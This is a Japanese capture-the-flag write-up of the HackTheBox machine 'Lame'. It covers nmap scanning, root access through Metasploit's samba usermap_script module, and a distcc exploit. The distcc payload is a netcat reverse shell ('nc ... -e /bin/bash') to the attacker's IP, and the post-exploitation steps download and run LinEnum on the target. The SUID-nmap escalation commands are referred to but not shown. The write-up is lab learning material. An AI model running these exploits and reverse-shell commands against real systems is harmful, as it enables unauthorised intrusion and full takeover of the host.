偵察/スキャン
archtypeのコマンドを少し変えて実施しました。
ports=$(nmap -p- -T4 -P0 10.10.10.3 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -P0 -p$ports 10.10.10.3
※-P0:nmapによるスキャン実施の前にpingを送信しない。
余談:FTPで接続後にファイルの一覧が見れない
攻略の大筋ではないところで躓きました。
ftpが匿名アクセスできる状態なのでアクセスし、ファイル一覧を取得しようとしたところ、「425 Failed to establish connection.」のエラーが表示されました。
PASVモードの表示があったので、ufwにルールを追加し再度実行しましたが、同じエラーが表示されました。
ufw allow 20/tcp
ufw reload
ufw status numbered
正解としては「ftp>」の際に「passive」と実行することでftpのモードを切り替えて実行することで正常な結果が得られました。なお、接続したフォルダにはファイルはありませんでした。
アクセスの取得
ftpの攻略(失敗)
vsftp2.3.4はバックドアが含まれていますが、今回は使用できませんでした。
sambaの攻略
metasploitを使って、sambaの脆弱性を攻撃します。
msfconsole
search samba 3.0.20
use exploit/multi/samba/usermap_script
「show options」で必要なオプションを指定して実行するとroot権限を得ることができました。/rootにroot.txtがあります。
distccの攻略
偵察/スキャンの結果で「
」というサービスが稼働していることが確認できます。
distccとは
ソフトウェア開発においてdistccとは、コンピュータネットワーク上での分散コンピューティングを利用し、ソースコードのコンパイル速度を改善するツールである。
distccに対してもmetasploitを使って攻撃を行います。
msfconsole
search distcc
use exploit/unix/misc/distcc_exec
今回はpayloadの指定で以下のものを使用しました。
set payload payload/cmd/unix/generic
set CMD nc 10.10.14.6 4444 -e /bin/bash
上記で「exploit」を実行すると、CMDに指定したコマンドがLameで実行されます。
ncコマンドで接続させるので、別ターミナルで待ち受けます。
nc- nc -lvnp 4444
ここまでで、daemonというユーザでアクセスすることができます。
daemonはroot権限がないため、ここから権限昇格を行います。
権限昇格
「LinEnum」というツールを使ってシステム内の情報を収集します。
Kali側ではLinEnum.shをダウンロードし、シェルが配置されているディレクトリでアクセスを待ち受けます。
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
python3 -m http.server 80
先ほどLameにアクセスしたコンソールより以下を実行します。
wget http://kaliのIPアドレス:80/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
LinEnumの実行結果により、「/usr/bin/nmap」コマンドにrootのSUIDが設定されていることがわかります。
「GTFOBins」は、ローカルのセキュリティ制限を回避するため利用できるバイナリのリストで、このリストから「nmap」の項目を参照します。
上記の内容をもとに、Lameにアクセスしたコンソール上で以下のコマンドを実行するとroot権限を取得できました。
参考にさせていただいたサイト
*1:GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4